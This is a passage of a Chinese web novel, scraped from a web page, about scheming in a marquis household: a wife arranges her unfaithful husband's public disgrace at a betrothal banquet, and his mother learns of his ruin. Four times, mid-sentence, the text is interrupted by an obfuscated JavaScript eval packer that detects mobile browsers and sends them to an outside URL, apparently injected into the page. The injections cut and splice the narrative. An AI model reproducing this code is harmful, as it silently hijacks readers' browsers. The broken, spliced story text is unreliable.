阮氏话锋一转:“不过二爷这样也不是个事。男子汉大丈夫,不出去走动走动怎么行?” 纪蓉以为自己听岔了:“你说什么?” 阮氏从怀里掏出一张银票,悄悄塞在纪蓉手中:“二爷,我弟弟想买个铺子,但他年纪小不善与人打交道。要不就辛苦二爷出去找找,找个好的铺面,再找个中人。” 纪蓉看着银票眼睛都亮了,贼亮贼亮的。 “五百两!” 他像是没见过银票似的一下子从床上坐直身子。 纪蓉:“夫人,你哪儿来这么多银子?” 阮氏眼底掠过鄙夷,却恰到好处压低声音:“就是我弟给的呗。他要买一间铺子……” 阮氏编了一套话。 纪蓉高兴:“好,我这就出门去打听。这五百两数目可不小……” 他猛地噤声,陪笑道:“夫人你放心。这银子我不会乱花的。等事成了后,我拿点好处和茶水钱就行了。” 阮氏一脸温和:“我是知道二爷办事厉害,快些出去寻个好中人问问铺面才是正经。” 纪蓉容光焕发,梳洗打扮一番,哼着小曲得意洋洋出了府门。 这还是他被打断腿后光明正大出门。前些日子他要出门都是偷着从偏门鬼鬼祟祟跑出去。 阮氏见他走了,垂下眼帘,唇边冷笑连连。 要让爷们干坏事,拘着不让出去怎么干? 她添把柴,浇点油,给纪蓉助助兴。 …… 当夜,纪蓉又是深夜方归。满身酒气,还有艳俗的脂粉气,满口嘟哝着别的女子名字。 阮氏被吵醒。 她瞧见死猪一样的纪蓉,面不改色让婆子丫鬟伺候他更衣,擦洗。 第二日纪蓉醒来又照旧两眼放光跑了出去。 一连两三日纪蓉都在外面厮混,今夕不知何夕的样子。 陈昊见他又阔绰起来,十分高兴。 “早知道侯爷还是偏疼你的。将来侯府的产业都该是你的。” 纪蓉得意忘形:“可不是?老大虽然有功,但他那个呆子不会与我争什么。家中产业说到底还是捏在我娘手中。” “我娘有的可不就是我的。” 陈昊:“你那个大妹,被赐婚为睿王妃的。她这靠山可大了,你与她一胎的亲兄妹,将来就是睿王的二舅哥,啧啧,以后睿王漏点什么都是你的。” 纪蓉被奉承得飘飘欲仙,大言不惭:“我何必他漏点什么给我?我张口要,他会不给?就算睿王不给,我找大妹要,她肯定得给。” “都说侯府是她命换来的。不过为人子女,这条命都是父母给的。她先前得了功劳还不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713099|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给了我父亲?如果她嫁做睿王妃,以后好东西都得是我的。” “睿王身份那么高,她高攀上了,将来还得靠娘家的兄弟。不然将来谁给她撑腰?” 酒喝多了,纪蓉开始胡话乱说。 一个劲贬孙纪昭,一边抬高自己身为侯府男丁的重要。 仿佛若没有他,睿王萧烨就算娶了纪昭,将来纪昭也逃不过下堂妻的结局。 纪昭听到了春翠偷偷打听来的这些闲话,一笑置之。 她有很多事要张罗忙碌,不单单只是纪蓉这一件。 他还不配让她全力以赴对付,只抽空腾一只手就能让纪蓉死无葬身之地。 …… 六月三十,大吉,宜议亲。 忠义伯爵府挑了吉日送了聘书,并且聘礼三十六抬,已经送到。 侯府这边,二房同样置办出了礼单,陪嫁定做三十六抬。 第一抬是皇后赏赐的一柄玉如意。第二抬是纪昭送的一套翡翠头面首饰,一对龙凤累金丝八宝镯,两匹云锦。 纪昭的东西送的不算太贵重,但第一抬是她入宫为二房求来的赏赐,等于大大拔高了二房的体面。 二房二老爷,二夫人沈氏高兴得不知道说什么才好。 他们这一房是白身,从前是做梦都不敢想到有这样的荣耀。 忠义伯爵府那边知道后,亦是面上有光。 先前还有闲言碎语说侯府的二房配不上忠义伯爵府,现如今皇后赏赐下来后,那些说闲话的必定闭嘴了。 外加纪昭也给了一抬,已经极给面子了。 这门亲事怎么订的不好? 可太好了!太值了! …… 侯府热闹起来。 宴请忠义伯爵府送聘书,抬聘礼的人。 纪家的长辈们都来了,忠义伯爵府那边也来了不少人。 二房二老爷和沈氏都穿上了葛红锦缎,打扮得喜气又体面。 老夫人看着兴旺的样子,老脸都笑开了。她握住纪昭的手:“看你给二房挣的体面,二房以后都得感激你。” 纪昭含笑:“这是皇后娘娘给的恩德。” 二房沈氏满脸红光,拉着害羞的纪璇静:“过来给你大姐姐敬酒,得三杯。” 第218章侯府二房定亲宴(二) 纪璇静羞答答地给纪昭敬酒:“大姐姐请喝我这杯酒。” 纪昭笑着喝了。 纪璇静一连敬了三杯,纪昭都喝了。 酒是果子酒,甜丝丝的,掺着冰块不会上头。 二夫人沈氏笑容满面,一个劲恭维纪昭办的事好。 老夫人很是高兴,笑呵呵地说着话。今日纪家的长辈来的多,每个人都来与纪昭说话寒暄。 每个人却识趣地没提还关在佛堂“清修”的大夫人。 只有一人是远房的奶奶,年纪大了,记性不好。 她问老夫人:“你大儿媳瞧着八面玲珑,会来事的人,今日这定亲宴忙得找不到人了。” 老夫人淡淡笑了笑:“她身子不太好,去佛堂静修了。这宴席是大孙女昭儿,还有大孙媳一起操办的。” 那位奶奶“哦”了一声:“她又犯了旧疾是不是?按我说,你这个做婆婆的十分宽容,竟然让她经常回衡阳养着。” 老夫人笑了笑,提了别的话头去了。 言者无心,听着有意。 纪昭默默记下这位远房的奶奶。 那边,阮氏坐在远的一桌,小口小口吃着东西,心不在焉。 纪昭看了她一眼,悄悄过去:“菜可合二嫂口味?” 阮氏回过神来,笑了笑:“挺合适的,就是孕中重口,想吃点酸的。” 纪昭:“那二嫂怎么不早点说?我让厨房做点酸汤来的。” 旁边一位婶娘笑嘻嘻道:“都说酸儿辣女,二少夫人这一胎可能是男娃。” 阮氏含羞笑了:“婶娘可不要胡说。我没怀之前我喜欢吃点酸黄瓜、酸梅子,与这个无关。” 婶娘笑嘻嘻又道:“孕中会有反口的,但二少夫人又不反口。那一定是男娃了。” 阮氏笑道:“借了婶娘吉言,这一胎就是男娃了。我现在更想吃酸梅子了。” 她说着唤来贴身丫鬟芳枝,让她回院子拿酸梅子。 芳枝回道:“二少夫人忘了,今早酸梅子早就吃完了。奴婢还没来得及出门买呢。” 阮氏皱眉:“那怎么行?现给你几钱你赶紧派人去买来吃。” 纪昭笑道:“二嫂那么急做什么?一会儿有酸梅汤。” 婶娘在旁边道:“这大小姐就不知道了。孕中的人一想到想吃什么,那是立刻要吃上的。吃不上就抓心挠肝地。” 纪昭笑道:“那的确是我无知了。” 她说着吩咐芳枝出去买。 芳枝去找了二夫人沈氏要出门的牌子。 二夫人沈氏一听这话立刻笑道:“酸梅啊?解馋的小玩意哪需要大动干戈去买?我院子里刚好昨儿买了一斤的酸梅。” 芳枝:“那就劳动二夫人给个牌子,奴婢去拿取一些。” 二夫人沈氏笑道:“这又麻烦了,我正好要去院子更个衣,你随我过去取。” 于是二夫人沈氏就让芳枝跟着往自己的院子去。 过了一盏茶功夫,二少夫人沈氏惊慌失措地回来,在老夫人耳边说了几句。 老夫人的脸色变了,站起身:“且随我过去。” 她说着觉得不对,对身边的虞嬷嬷道:“你去唤侯爷,让他去后院。” 虞嬷嬷是养过晋阳侯的,老夫人让她去唤人,防止晋阳侯酒宴饮多了酒上了头,拖拖拉拉不肯去。 虞嬷嬷去了。过了半盏茶功夫,老夫人安置好亲戚们,由丫鬟扶着脸色铁青地去了。 纪昭眸色动了动,看向纹丝不动安坐吃酒席的阮氏。 阮氏一抬头正好瞧见纪昭看着自己。 阮氏对纪昭笑了笑:“大姑娘就不要去凑热闹了。” 纪昭若有所思:“二嫂意思是这热闹不好凑?” 阮氏点头:“大姑娘是未婚女子。听了那事对名声有损。既然侯爷和老夫人都去了,大姑娘就不用去了。” 纪昭:“这事与二哥有关?” 阮氏又点了点头。 纪昭瞬间明白了什么:“二嫂倒是想得开。” 阮氏夹了一筷子菜放入口中慢慢细嚼慢咽,神色很是平静。 “女人肯定要想开。与其让爷们在外偷吃,还不如把香的臭的统统拉到跟前让他吃到撑,吃到吐。” “我倒要看他到底有几分本事在身上,能吃多少!” 她说这话的时候,平静中带着很深的怨毒。 纪昭心里叹气。 前世,纪蓉养在外面的青楼女子是怀了一位大人物的种,没人接盘,怀了三个月身孕才闹到了侯府。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晋阳侯很愤怒,也很尴尬:“二弟,二弟媳,你们先起来。我管教不严,差点坏了你们大事,我会给你们一个交代的。” 二老爷余怒未消:“大哥,你是侯爷,我们不敢说什么。只是求你看在纪家一门的名声,好好管教。” 话都说到了这个份上,晋阳侯还有什么不明白的。 平日里大房凭着长房长子的优势,占尽纪家资源,二房三房都被弹压得差点和管事一个待遇。 现如今晋阳侯要不狠狠惩罚纪蓉,恐怕是没法给二房一个“满意交代”。 晋阳侯转身怒吼:“给我打!上次打残了他两条腿,今日也得让他残了!” 老夫人叹了一口气,面上深深失望。 她不会阻止,也不会偏袒。 因为这么多年老夫人一直偏袒大房,总以为大房兴旺才是家族之根基。 现如今发现自己完全做错了。 纪昭悄悄进了院子,扶住老夫人。 老夫人看了她一眼,摇头叹气。 最后纪蓉又生生挨了三十大板,被打得血肉模糊,昏死过去才被抬下去。 晋阳侯发下话来,清空一个单独的院子,另派家丁人手围着不让纪蓉再出去。 至于那个女人,晋阳侯还没决定。 他让老夫人出面,看怎么打发了去。 老夫人也没什么好法子,准备拿银子要这青楼女子离开京城。 纪昭拦下来了:“祖母,这青楼女子迎来送往的,她说腹中的孩子是二哥的,也不一定是真话。孙女觉得她只是没什么别的出路,寻个由头来纪府捞一笔。” 前世这青楼女人就是找了纪蓉当接盘的,让纪蓉喜当爹。 偏偏纪蓉绝世大舔狗,明知道这孩子不是自己的,还被这女人三言两语哄得要替别人养儿子。 所以纪昭很确定这女人腹中的孩子不是纪蓉的。 老夫人叹气:“就算不是,也是阿蓉和这女人有牵扯。这事不能再这个时候和她扯掰。逼急了,她光脚不怕穿鞋的,跑到别处大闹一番,我们纪家的名声就完了。” “不光是你两个妹妹名声,还有顶顶要紧是你的名声会受损。” 老夫人:“我不会让她坏了昭儿你的姻缘。拿多少钱给她都没事,只要稳住她到你大婚。” 纪昭动容。 老夫人全是为了自己才忍辱负重。 纪昭想了想:“祖母,这件事由我去办吧。您老若是被她气出个好歹,可不行。” 老夫人犹豫。 纪昭:“祖母,您就信我一回。孙女会办好的。” 老夫人不得不同意,叮嘱:“千万不要与她起了争执,也不要让她出去乱说话。宁可得罪君子,不要得罪小人。她这种人不值当你拿名声冒险。” 纪昭点头。 于是纪昭到了临时安置那个女人的院子。她进去与那女子说了一会儿便出来了。 …… 这件事就这样悄无声息地压下去了。 纪昭并没有如同前世一样让这女人在京城另择一地住着,而是第二日让侯府的人驾着一辆马车将女子送到了乡下庄子上。 那庄子也不是纪家买的,是另外托人买的一处普通又隐蔽的庄子。 那女子至始至终都没有过多露面,所以侯府的下人知道事情内情也不多。 …… 纪昭去看望阮氏。 阮氏气色很好,胃口也很好。 她坐在罗汉床上小口小口吃着冰镇红枣酸梅汤。 阮氏见纪昭来了,笑着让丫鬟添茶上果子。 纪昭是带了老夫人的意思来的,笑着让阮氏别忙活。 “二嫂昨晚睡得如何?” 阮氏扶了扶鬓边,笑道:“睡得很好。” 纪昭若有所思:“二哥被父亲打得很惨,腿虽没被打断,但听说打伤了,没有半年一年的可能养不好。” 那一顿痛打,纪蓉被伤了根本。就算是最后养好了也一样成了废人。 阮氏笑了笑:“伤重了就多养一阵子。” 纪昭仔细看阮氏的脸色,欲言又止:“二嫂,祖母想给你补偿。” 阮氏:“祖母心善,我不要补偿。” 纪昭握了她的手:“祖母说了,二哥这么做伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739174|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了二嫂。二嫂还怀有孩子,更得补偿。” 阮氏淡淡笑了笑:“那便收了吧。替腹中孩子收的。” 纪昭便让晚意拿了单子来。 老夫人给了阮氏三间铺子,还有贰仟两白银,还分了乡下一百亩上好良田都归在阮氏的名下。 东西不算多,但是是纪蓉这一房额外得的。 等将来老夫人百年之后,或是侯府分家还会再分一份给阮氏。 所以阮氏并不嫌少。 阮氏面不改色地收了,说了一些老夫人仁慈心善的好话。 纪昭松了口气。 给阮氏补偿是纪昭提出来的。纪蓉在外面找惹了这么一件麻烦,虽说自己也曾使过银子让这青楼女子吊着纪蓉,也想让这女子关键时刻出来扳倒纪蓉。 但没想到被阮氏抢了先。 纪昭都有点后悔当初透露这个青楼女子的事让阮氏知道。 阮氏见纪昭的神情,便知道她心里所想。 她大大方方承认:“是我使了个小手段,让那女人打上门的。” 她细细说了。 原来阮氏给了纪蓉银子去花天酒地,去见那女人,另外又让人透露给那女人说纪蓉得了一大笔银子,打算再娶个妾。 阮氏尽量让人做出纪蓉暴富后的嚣张丑态,还让人引得纪蓉酒后胡言乱语,说自己有多少相好的。 然后那女人就上了当,又听得人说侯府要办定亲宴,人来人往的长辈亲戚都在场。 那女人本就被大人物抛弃,还怀了身孕,眼见着自己即将没活路,便大着胆子闹上门。 所以在宴席上,就算二夫人沈氏不回院子取什么酸梅,阮氏也会找个时机让把那女人带给二夫人沈氏撞见。 二夫人为什么会恰好有酸梅,那是阮氏前一日就让人买了送了过去做由头的。 定亲宴是二房的大事。突然有个青楼女子来**,二房二老爷和二夫人肯定不会善罢甘休。 他们一定会逼着晋阳侯严惩纪蓉。 纪昭听了后,觉得同情。 阮氏用的计策和她想的差不多,只是先她一步用了。 第220章 阮氏回娘家 阮氏:“说给大姑娘听,是因为这事我不想瞒着你。左右事情都做了,结果我自认。” 纪昭:“二嫂不要担心。没人怀疑你。” 阮氏只是笑了笑,并不在意。 纪昭知道她压根不担心被人发现是自己做了局,让纪蓉挨打。 阮氏:“我要的是让他不好过,最好安分守己地等到我腹中孩子出世。” 她又加了一句:“我别无所求,只求大姑娘一件事等孩子出生了,我想带孩子回娘家养着。” 她握住纪昭的手,恳切央求:“我不会带走很多东西。我只想安安心心养好孩子,离纪蓉远远的。” 纪昭想了想:“这样吧。我给你拿个主意,二嫂这阵子先回娘家养胎。” 阮氏眼睛亮了亮:“祖母和侯爷能答应吗?” 纪昭:“我去说。应该会答应。只是若是府中有喜事,二嫂还是得回来一趟,作为二房露个面。” 阮氏如释重负:“好,好,我一定会来。” 她喜笑颜开,竟是比拿了老夫人给的补偿还高兴。 纪昭心里叹气。 阮氏若不是对纪蓉灰心绝望到了极致,怎么会萌生想要回娘家养孩子的主意? 眼下看着像是解决了纪蓉,但对阮氏来说一切没什么改变。 她在眼下环境感觉压抑,换个地方也许会好点。 第二日纪昭便去与老夫人说了阮氏的想法。 老夫人叹气答应:“出了这档子事,阿蓉媳妇肯定心里难受。她又怀着孩子,回娘家养一养也许对母子更好。” 于是老夫人让人拿了银子和补品,还让府中安排马车,挑个好天气让阮氏回娘家养胎。 消息传回阮氏的院子,阮氏大大松了口气。 她对身边的芳枝道:“大姑娘是个好人。拿上我一些压箱底的好东西送去给大姑娘。” 她想了想,又说:“再拿几匹最好的杭绸,还有新打的金锁,我亲自去送给大嫂。” 芳枝奇怪:“少夫人,怎么突然要与大少夫人送东西?” 阮氏摸着肚子:“有了孩子才知道自己之前做的错了。” 芳枝听得一头雾水,但还是照旧办了。 过了两日,阮氏就启程回娘家了。 纪昭去送,发现大嫂包氏抱着誉哥儿也来相送。 等人走了,大嫂包氏抱着誉哥儿走过来,叹气:“老二媳妇临走之前给誉哥儿送了好大一个长命金锁,还向我道了歉。承认了上次她给誉哥儿吃了脏东西。 她还说,纪蓉已经废了,她娘俩就长住娘家,不太会回来了。让我不要恨她。她什么都不会与我这房争。” 纪昭心中一动。 阮氏是真心悔过,也是真心想走。 …… 纪昭让晚秋请来虞嬷嬷,说起定亲宴上那位远方的奶奶。 虞嬷嬷:“那位奶奶我认得,是旁支一位太奶,辈分很高。当年侯爷和大夫人成亲时,是她带头去接花轿迎亲,算是知根知底的老奶奶。” 纪昭:“太奶奶好像知道点什么,要不您去问问?” 虞嬷嬷:“好。她应该还在祠堂那边住几日,我去找她说话。” 虞嬷嬷说干,便去找那位奶奶。 纪昭并不认识那位太奶奶,但直觉告诉她,这位太奶奶虽然糊涂,但应该是知道点旧事。 果然当天傍晚虞嬷嬷就来了。 她让纪昭将人都屏退了,道:“问道了,太奶奶说当年给侯爷说亲的时候去过大夫人的衡阳老家,住过几日,打听过大夫人的底细。” “大夫人当年与赵鸿畴私下定过终身,交换过信物,这事赵家都知道。赵鸿畴有个干娘,那干娘与赵家走动得很近。她铁定知道些什么。……” 虞嬷嬷:“那个干娘现在还在。” 纪昭眉心一跳:“在哪儿?” 虞嬷嬷:“不知道,太奶奶有些糊涂了,我是套了许久的话才套到有这个干娘。余下的我们去寻就是了。” 纪昭点头:“那就让虞婆婆的侄儿去寻人。寻到了我亲自去一趟。” 虞嬷嬷:“这倒不必,寻到了,给一些银子让她来京城。让大公子接手。” 纪昭想了想,缓缓点头。 计划中,她并不想牵扯大哥纪荣知道这事。但这查案办案,又是纪荣擅长的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745379|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了,先等寻到人再说吧。 …… 佛堂中,大夫人精神头好些了。 虽还是吃食上还是很不好,但被曹嬷嬷收拾了几次后,终于懂得乖巧。 曹嬷嬷原本是要继续折磨大夫人,不过大夫人及时给了银子买命。 曹嬷嬷贪财,收了银子就不会太过分。 大夫人如今一口气顶在胸口,只想着要出了佛堂。 她又给曹嬷嬷送银子,低声下气说:“能不能给点肉汤?” 曹嬷嬷看着送上来的珍珠,眯着眼对着日头照了半天才冷笑:“真是金贵,在佛堂吃肉汤,你也不怕佛主怪罪。” 大夫人赔笑:“我给侯爷生了三个孩子,年轻时候早掏空了。要不是这几年侯爷发达了,养着身子骨,我早就入土了。所以曹嬷嬷行行好,让我喝点肉汤。” 曹嬷嬷呸了一声,扭着水桶腰走了。 “事真多!” 到了傍晚,曹嬷嬷拿了食盒过来。 打开一看是府里不知道谁吃剩的鸡汤。大夫人一看就想作呕。 曹嬷嬷见她那样子,骂道:“你不是说要肉汤吗?给你拿来了你还不吃?” “我吃。我吃。”大夫人忍下羞辱,接过食盒。 她在食盒上摩挲了下:“这盒子等我用完了洗洗再还给嬷嬷。” 曹嬷嬷不怀疑,还叮嘱:“洗干净点。” 说完她就走了,突然又想起了什么。 曹嬷嬷回头盯着大夫人笑。那笑容在胖脸上十分古怪,大夫人被笑得心里发毛。 “嬷嬷还有什么事?” 大夫人问得小心翼翼。这几日她早就学乖了,不敢再和曹嬷嬷犟嘴。 一切为了将来。 曹嬷嬷笑嘻嘻:“哦,忘了与你说。前日定亲宴上二公子犯了错,被侯爷打得死去活来,如今好像被打废了。听说二公子发了两日高烧,高烧退了后脑子被烧傻了。问什么都不知道。” 大夫人原本拿着食盒,听后如五雷轰顶,食盒掉在地上。 鸡汤撒了一地。 她一口血吐了出来:“怎么会这样?……我的阿蓉!阿蓉啊!”